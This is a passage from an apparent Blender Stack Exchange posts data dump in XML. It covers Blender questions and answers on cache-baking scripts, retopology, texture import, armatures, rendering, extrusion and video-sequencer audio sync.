href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.ops.html?#overriding-context&quot; rel=&quot;nofollow noreferrer&quot;&gt;api&#xA;  docs&lt;/a&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So for a smoke simulation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for scene in bpy.data.scenes:&#xA;    for object in scene.objects:&#xA;        for modifier in object.modifiers:&#xA;            if modifier.type == 'SMOKE':&#xA;                if modifier.smoke_type == 'DOMAIN':&#xA;                    override = {'scene': scene, 'active_object': object, 'point_cache': modifier.domain_settings.point_cache}&#xA;                    bpy.ops.ptcache.bake(override, bake=True)&#xA;                    break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;This will bake the selected cache for all domain objects in the file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Using the simple script below which is adapted from the script in the above quote (which is in turn adapted from &lt;a href=&quot;https://blender.stackexchange.com/a/728/599&quot;&gt;brecht's answer&lt;/a&gt; about baking fluid), you can bake the cloth cache for every object in the file which has a cloth modifier:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for scene in bpy.data.scenes:&#xA;    for object in scene.objects:&#xA;        for modifier in object.modifiers:&#xA;            if modifier.type == 'CLOTH':&#xA;                override = {'scene': scene, 'active_object': object, 'point_cache': modifier.point_cache}&#xA;                bpy.ops.ptcache.bake(override, bake=True)&#xA;                break &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-01-15T02:28:57.310" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6253" PostTypeId="1" AcceptedAnswerId="6255" CreationDate="2014-01-14T06:05:40.853" Score="27" ViewCount="64239" Body="&lt;p&gt;I'm making a game in the unity engine and for my models i'm using blender 2.6. The thing is that i'm pretty new to graphics design (modeling, sculpting, etc) and by following some tutorials i've managed to make some very high poly meshes for my characters with the sculpt editor, the meshes have about 1.5M - 2M faces and of course a game character should be less than 30K faces so the game runs smoothly with good optimization on an average pc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my question is how do i translate the details of the high poly stuff to low poly meshes (7k - 30k faces), i've heard about uv unwrapping and stuff but i'm not sure what is the process to follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i don't mind if the recommendation is very hard and for advanced users because the primary thing i want to do with this, is to learn.&lt;/p&gt;&#xA;" OwnerUserId="2144" LastEditorUserId="12" LastEditDate="2014-01-20T15:15:50.337" LastActivityDate="2018-12-08T21:32:16.120" Title="How to convert from high poly to low poly" Tags="&lt;topology&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="6254" PostTypeId="1" AcceptedAnswerId="6256" CreationDate="2014-01-14T07:25:05.393" Score="10" ViewCount="81134" Body="&lt;p&gt;I have downloaded &lt;a href=&quot;http://tf3dm.com/3d-model/ferrari-california-93936.html&quot;&gt;a model&lt;/a&gt; from this &lt;a href=&quot;http://tf3dm.com/&quot;&gt;website&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It comes with all the textures as &lt;code&gt;.tga&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to import all the files into blender so it looks exactly as it does on the website, textures applied and everything.&#xA;I've searched around for how to do this with no results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help or guide me through doing this?&lt;/p&gt;&#xA;" OwnerUserId="2145" LastEditorUserId="72" LastEditDate="2015-03-01T01:46:32.500" LastActivityDate="2015-03-01T01:46:32.500" Title="How to Import a model with textures applied?" Tags="&lt;texturing&gt;&lt;import&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6255" PostTypeId="2" ParentId="6253" CreationDate="2014-01-14T07:32:37.117" Score="27" Body="&lt;p&gt;One way to reduce mesh density is the &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/generate/decimate.html#decimate-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;decimate modifier&lt;/a&gt;&lt;/em&gt;, however for the workflow you want (creating a game asset) I think you want &lt;em&gt;Retopology&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a workflow which gives your more control over the final result, however it will take longer as it is a manual process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some helpful addons and built in functionality for retopologizing your mesh:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/3dview/object/editing/transform/control/snap.html#transform-snapping&quot; rel=&quot;nofollow noreferrer&quot;&gt;Surface Snapping&lt;/a&gt; (feature)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/deform/shrinkwrap.html#shrinkwrap-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;Shrinkwrap modifier&lt;/a&gt; (feature)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://en.blender.org/index.php/Dev:Ref/Release_Notes/2.64/Bsurfaces_1.5&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bsurfaces&lt;/a&gt; (bundled addon)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://cgcookiemarkets.com/blender/all-products/retopoflow&quot; rel=&quot;nofollow noreferrer&quot;&gt;RetopoFlow&lt;/a&gt; (addon)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some tutorials and reference material:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://vimeo.com/26339130&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bsurfaces demo&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20140710172752/http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Retopo&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki page on retopologizing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After you have a lower topology mesh you can bake normal maps etc. to make it appear more detailed than it really is.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2018-12-08T21:32:16.120" LastActivityDate="2018-12-08T21:32:16.120" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="6256" PostTypeId="2" ParentId="6254" CreationDate="2014-01-14T08:01:30.253" Score="10" Body="&lt;p&gt;You would need to enable the &lt;em&gt;3DS Import/Export Addon&lt;/em&gt; in the &lt;em&gt;User Preferences&lt;/em&gt; (Menu: File / User Preferences)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hV1mI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then Import the .3ds file (Menu: File / Import 3D Studio (.3ds)&#xA;some of the UVMaps don't match the textures you would need to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV/Unwrapping&quot; rel=&quot;noreferrer&quot;&gt;reassign them&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable &lt;em&gt;Transparency&lt;/em&gt; in the &lt;em&gt;Material Settings&lt;/em&gt; for glas parts:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0LUvK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x5XZl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would also need a few lamps in your scene, in &lt;em&gt;Object Mode&lt;/em&gt; &lt;kbd&gt;A&lt;/kbd&gt;Lamp/Hemi and place them e.g. in front of the model, then you will also see the textures.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-01-14T10:00:28.070" LastActivityDate="2014-01-14T10:00:28.070" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6258" PostTypeId="2" ParentId="6216" CreationDate="2014-01-14T08:44:03.630" Score="1" Body="&lt;p&gt;While you can manually add an armature modifier to an object and set it up to work, the most common method is to start by setting the armature as the parent of the mesh object. While the armature is the parent, moving it in object mode will also move the mesh with it, keeping things aligned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once an armature is setup to deform a mesh object moving one of them without the other gives a weird deformation as seen in your screenshot. Even if the armature is the parent you can move the mesh object by itself and get the same bad deformation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The further apart you move the armature and the mesh the worse the distortion is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the armature as the parent of the mesh then be sure to move the armature and not the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to use parenting then you need to make sure you move both the armature and the mesh together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also scaling one without the other can produce the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That applies to moving the two objects in object mode not moving the armature in pose mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to watch is if you use automatic keyframing, you need to make sure you turn it off when you finish animating.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-01-14T08:44:03.630" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="6259" PostTypeId="2" ParentId="6200" CreationDate="2014-01-14T09:59:41.537" Score="1" Body="&lt;p&gt;What I was &lt;a href=&quot;https://blender.stackexchange.com/questions/6200/how-to-use-the-render-result-from-one-scene-as-a-texture-in-another-scene#comment9818_6201&quot;&gt;originally thinking of&lt;/a&gt; will not work as easily as I thought, however you could use an approach like &lt;a href=&quot;https://blender.stackexchange.com/a/2613/599&quot;&gt;this&lt;/a&gt;. Quoted from my answer &lt;a href=&quot;https://blender.stackexchange.com/q/2612/599&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can achieve this with an &lt;em&gt;Image Sequence Texture node&lt;/em&gt;:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;Set up two render layers with each layer excluding the other:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TYteX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Set up compositing nodes so the render layer that is being used to influence the materials renders out to a separate directory.    This&#xA;  is possible with the &lt;em&gt;File Path&lt;/em&gt; node:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wsU8E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Render only the influencing layer once to that directory by &lt;em&gt;Pinning&lt;/em&gt; &lt;img src=&quot;https://i.stack.imgur.com/b6taT.png&quot; alt=&quot;enter image description here&quot;&gt; that render layer.    The file will be named something like &lt;code&gt;Image0001.png&lt;/code&gt;. Rename it to&#xA;  &lt;code&gt;Image0000.png&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Set up the material you want to be influenced.   You can pull in the result of the other render layer by adding an &lt;em&gt;Image Texture&#xA;  node&lt;/em&gt;, setting the image to &lt;code&gt;Image0000.png&lt;/code&gt;, setting the &lt;em&gt;Source&lt;/em&gt; to&#xA;  &lt;em&gt;Image Sequence&lt;/em&gt;, and setting the &lt;em&gt;Offset&lt;/em&gt; to &lt;code&gt;-1&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bLev0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This is the result of the other render layer.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Render the animation. (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;F12&lt;/kbd&gt;, or &lt;em&gt;Info &gt; Render &gt; Render Animation&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Here is a simple test with two spheres (one on each layer) and a&#xA;  moving light source:&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3iBEl.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Keep in mind that with this technique, the two layers are one frame&#xA;  apart. This could be fixed by rendering the influencing layer&#xA;  completely beforehand, and adjusting the offset accordingly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This should work in BI as well, using an image sequence texture (as opposed to an image sequence node).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-10-30T19:06:15.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6261" PostTypeId="2" ParentId="6229" CreationDate="2014-01-14T11:26:50.573" Score="1" Body="&lt;p&gt;Cycles cuts the final image into a number of tiles, as each tile begins to be processed it is cleared before the result gets entered into it. Blender internal doesn't appear to do this clearing step, leaving each tile update being drawn over the previous frame content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For not seeing a tile in it's cleared state you will find the screen view gets updated in a thread separate from the rendering. A tile may get cleared and updated in between two screen updates so a tile that gets cleared may not be seen in a screen update before an image update is entered into it. The quicker the first sample is ready the more chance that the cleared tile is not updated to the screen. To test this set a large tile size and high samples rate using cpu so that it takes a while before an update is ready to view, even a simple background colour that updates quickly can be seen cleared before it gets updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the difference between your two example files, the startup.blend file has border turned on in the resolution settings with crop turned off. blue_ring.blend has both border and crop turned on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that border on with crop off causes full image clearing between each frame. Border off or border on and crop on doesn't perform this clear full image step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendering within a border that doesn't get cropped would be a reason to clear the entire image to prevent any old image data being present around the cropped render. For an animation this step should only be needed for the first frame and should be able to be skipped after that. Probably no has thought of only running the clear step once at the start of the render animation task.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-01-14T11:26:50.573" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6263" PostTypeId="1" AcceptedAnswerId="6280" CreationDate="2014-01-14T15:25:52.360" Score="1" ViewCount="3548" Body="&lt;p&gt;I'm trying to learn Blender. I started modeling this &quot;easy&quot; exercise, but I can´t make step 5 in the process, please tell me how do this. I've got everything up to this step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marko.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?260408-Jabulani-Teamgeist-and-Starball-quot-Soccer-Ball-Series-quot-%28Updated%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;Full size image&lt;/a&gt;)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CGhIi.jpg&quot; alt=&quot;the exercice of modeling&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/kf7entgz56qgwgr/balonestrellas.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;the model I done in blender&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TdYPS.png&quot; alt=&quot;the fail step...&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2151" LastEditorUserId="2151" LastEditDate="2014-01-15T00:11:08.883" LastActivityDate="2014-01-15T16:48:03.903" Title="How do I transform triangle polygons into quads?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6264" PostTypeId="2" ParentId="6263" CreationDate="2014-01-14T16:20:08.010" Score="2" Body="&lt;p&gt;I'm not completely sure what the tutorial want's you to do with those tools. However, you can use a few different tools to do create the same topology:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select each edge of the triangle and subdivide it (&lt;kbd&gt;W&lt;/kbd&gt; &gt; Subdivide):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RySUO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the face and poke it (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HbUbS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Turn them into quads with the face tool (&lt;kbd&gt;F&lt;/kbd&gt;):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7h2va.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-01-14T16:20:08.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6265" PostTypeId="1" CreationDate="2014-01-14T17:22:34.930" Score="2" ViewCount="3012" Body="&lt;p&gt;I'm having trouble with the Wavefront .OBJ export script (using Blender 2.69). I can't seem to affect the origin of the exported vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen other threads suggesting the origin is that of the scene/world, but as far as I can tell the origin seems to always be the centre of the object's bounds. This makes it difficult to position objects in the game I'm developing because I'm never sure where exactly the origin is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tweaking all the export settings&lt;/li&gt;&#xA;&lt;li&gt;Moving the object's origin around&lt;/li&gt;&#xA;&lt;li&gt;Moving the object around in the scene (inc applying transformations)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All of the above have no effect on the exported vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated; thanks.&lt;/p&gt;&#xA;" OwnerUserId="2154" LastActivityDate="2016-10-24T16:33:20.943" Title=".obj export - moving the origin" Tags="&lt;export&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6266" PostTypeId="1" AcceptedAnswerId="6267" CreationDate="2014-01-14T17:30:16.280" Score="6" ViewCount="1475" Body="&lt;p&gt;I'm working on rendering out my first 3D animation from Blender!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a scene that I'm rendering with a transparent sky that I'll composite in After Effects later. I'm outputting to Radiance HDR so I can do HDR toning in Photoshop. . .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what I've done so far is render a few frames, then save them first as a Radiance HDR and then as a PNG. I use the HDR for my image data and pull the alpha channel out of the PNG, the problem I'm having is that when I render my animation I don't have the option to output both filetypes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to output more than one filetype while rendering an animation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe there is something else that I'm missing all together, thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2107" LastEditorUserId="12" LastEditDate="2014-01-14T19:23:32.407" LastActivityDate="2014-01-14T19:42:37.727" Title="Output two files when rendering an animation" Tags="&lt;rendering&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6267" PostTypeId="2" ParentId="6266" CreationDate="2014-01-14T17:34:54.793" Score="6" Body="&lt;p&gt;Yes there is a way! The Compositor has a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Output&quot; rel=&quot;noreferrer&quot;&gt;File Output&lt;/a&gt; node, of which you can have more than one! This node should allow you to save as many versions of your image as you need, at whatever stage of the compositing process, and with whichever passes you need.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-01-14T17:34:54.793" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6268" PostTypeId="1" CreationDate="2014-01-14T18:41:19.197" Score="15" ViewCount="20918" Body="&lt;p&gt;Given that av sync is on and the correct fps is set, why would the audio track and the video track not be of the same length. When the video file is played in a media player, no such problems occur, but when placed into blender's video editor, the total length of the video is longer than that of the audio. this varies from a short 8 second video with a 1 frame difference to a 2 hour long video with several thousand frames of difference. Also the audio does lag behind the video accordingly, but it takes a minute or so to really notice it desyncronising.&lt;/p&gt;&#xA;" OwnerUserId="2133" LastActivityDate="2016-09-13T08:01:12.380" Title="audio track and video track are not the same length" Tags="&lt;video&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6269" PostTypeId="2" ParentId="6266" CreationDate="2014-01-14T19:42:37.727" Score="2" Body="&lt;p&gt;If you select &lt;strong&gt;OpenEXR&lt;/strong&gt; (which is also an HDR and multilayer format) as the render file format, you will have the option to save a JPEG preview automatically.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-01-14T19:42:37.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6270" PostTypeId="2" ParentId="6268" CreationDate="2014-01-14T19:56:59.183" Score="18" Body="&lt;p&gt;When you import a video with audio into the sequencer, the following happens:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The video and audio are split into individual tracks, so they become effectively separate entities.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The audio track is imported into the sequencer while respecting the total play-length of the audio, So there is no pitch shift. (&lt;strong&gt;Basically, the audio is never sped up or slowed down, it will always sound right&lt;/strong&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The video is imported frame-for-frame at the &lt;em&gt;Frame Rate&lt;/em&gt; set in Blender's render panel, this means there is no frame interpolation or frame dropping going on.(&lt;strong&gt;Basically, the video will always play frame-by-frame, so it will be sped up or slowed down if the source video does not match the Frame Rate setting in Blender&lt;/strong&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This has the unpleasant effect that if you import a 10 second video that is 24fps into Blender's 25fps timeline, the audio will last 10 seconds, but the video track (which has 240frames) will be squeezed into 240/25 = 9.6 seconds, hence the mismatch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if all your source videos are the same FPS, then just set the Blender fps to that number, and you should be fine. If you have source videos of different FPS, then you can use the Speed Control strip to adjust the timing of each.&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="41" LastEditDate="2014-01-14T20:03:10.477" LastActivityDate="2014-01-14T20:03:10.477" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6271" PostTypeId="1" AcceptedAnswerId="6272" CreationDate="2014-01-14T21:01:34.170" Score="8" ViewCount="17403" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RxIvO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you see in the picture, after extruding the bottom face, it seems to simply move up. There really is no bottom face now. Sorry if it's hard to understand. I need it to have two faces instead of one. One on the very bottom, and one where it's extruded. I know you can extrude the bottom edges and then merge them, but is there any easier way? I don't want the bottom face when I extrude it to be one-sided. I think Maya actually creates a new face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VnjlP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2159" LastActivityDate="2014-01-14T23:53:29.177" Title="Extruding, other side does not have face" Tags="&lt;modeling&gt;" AnswerCount="5" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6272" PostTypeId="2" ParentId="6271" CreationDate="2014-01-14T21:36:33.293" Score="6" Body="&lt;p&gt;If you extrude a face connected to other faces, the extrusion will leave a hole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hT53D.png&quot; alt=&quot;extrusion1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you extrude a disconnected face, you will have a solid shape. If you press Y to disconnect the shape before extruding it, you will make it solid and have that bottom face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;But, beware, if you do this, you will get weird geometry. Things might not be connected the way you want. I feel a little dirty, doing it. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DQkdp.png&quot; alt=&quot;extrusion2&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="1725" LastEditDate="2014-01-14T22:14:39.377" LastActivityDate="2014-01-14T22:14:39.377" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6273" PostTypeId="2" ParentId="6271" CreationDate="2014-01-14T22:21:51.153" Score="4" Body="&lt;p&gt;If I understand what you are asking, the quickest way to do this is to select the face you want to extrude and duplicate it with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;, next, don't deselect or select anything else but rather press &lt;kbd&gt;E&lt;/kbd&gt; to extrude that face and adjust accordingly, finally, select the entire mesh with &lt;kbd&gt;A&lt;/kbd&gt; run a &lt;em&gt;W &gt; Remove Doubles&lt;/em&gt; operation.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-01-14T22:30:32.493" LastActivityDate="2014-01-14T22:30:32.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6274" PostTypeId="2" ParentId="6271" CreationDate="2014-01-14T22:22:36.820" Score="1" Body="&lt;p&gt;There must be some subtle detail within the steps you described in your comment, lead to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a cube, loop cut (horizontally) and a take a face out leads to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4yK19.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extruding the bottom face selected constrained to z-axis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tNvm8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z35i6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have moved the bottom face upwards (z-axis) the overlapping face would have been painted a bit brighter, but only as long you don't continue editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q1vE3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-01-14T22:31:27.997" LastActivityDate="2014-01-14T22:31:27.997" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6275" PostTypeId="2" ParentId="6271" CreationDate="2014-01-14T22:26:21.050" Score="1" Body="&lt;p&gt;Probably the best way to make the shape you're going for is to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;make a cube&lt;/li&gt;&#xA;&lt;li&gt;loop cut the middle (like you are already doing)&lt;/li&gt;&#xA;&lt;li&gt;loop cut again, but below the first cut&lt;/li&gt;&#xA;&lt;li&gt;delete one side face&lt;/li&gt;&#xA;&lt;li&gt;select the four interior vertices and make them a face (using &lt;code&gt;f&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-01-14T22:26:21.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
